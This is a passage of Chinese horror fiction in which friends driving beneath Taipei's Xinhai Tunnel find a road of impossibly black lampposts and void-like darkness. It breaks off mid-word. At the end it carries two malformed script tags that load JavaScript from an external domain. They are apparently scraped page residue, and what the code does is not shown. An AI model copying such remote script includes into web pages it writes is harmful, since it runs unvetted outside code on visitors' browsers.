「比隧道的最低点还要低——那就代表——」
「代表我们在隧道的下面。」阿杰说。
他关掉手机,抬起头看着挡风玻璃前方的马路。路灯的光线照在柏油路面上,形成一片均匀的、没有阴影的灰白色。那些路灯的灯杆——他之前没有注意到——是黑色的,不是正常的银灰色或墨绿色,而是一种深沉的、像是吸收了所有光线的纯黑色。灯杆的表面没有一点反光,像是用某种不会反射光线的材料制成的。
不对。
不是「不会反射光线」。是「不允许反射光线」。
那些灯杆的表面是黑色的,但它们的黑色不是油漆的黑色,不是金属的黑色——而是一种更绝对的、更根本的黑色。像是有人从「黑色」这个概念中提取了最纯粹的版本,然後涂在了这些灯杆上。它们不只是「看起来黑」——它们是「黑」这个字的定义。
阿杰把目光从灯杆上移开,看向道路的两侧。
道路两侧的黑暗也不是正常的黑暗。正常的黑暗中,你总能看到一些东西——树木的轮廓、建筑物的边缘、天空与地面的交界线。但这里的黑暗是绝对的、完全的、没有层次感的黑暗。像是有人在一张黑色的画布上剪出了一条狭窄的缝隙,然後把那条缝隙变成了这条马路。马路以外的地方——不是「黑暗」,而是「不存在」。
「我们不应该继续开了。」小羽说。她的声音很轻,但语气很坚定,「不管这条路通往哪里,我们不应该继续开。我们应该停下来。想清楚。」
「想清楚什麽?」彦钧问。
「想清楚我们在哪里、我们要去哪里、我们要怎麽回去。」
「我们在辛亥隧道的下面。」阿杰说,「我们要去的地方——是『上面』。我们要回去的地方——是我们来的地方。」
「那要怎麽上去?」
阿杰没有回答。他把车停下来,关掉引擎,打开车门下了车。冷空气扑面而来,带着一种他从未闻过的气味——不是辛亥隧道里那种霉腐味,而是一种更古老的、更深层的、像是地底深处的岩石在呼吸时才会散发出来的气味。那种气味很难形容——有一点像铁锈,有一点像硫磺,还有一点像——像是骨灰。
阿BEN也下了车,走到阿杰身边。他的手按在腰後的铁尺上,但没有拔出来。他的眼睛扫视着四周的黑暗,瞳孔在路灯下缩成了两个极小的黑点。
「你有没有觉得——」阿B
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">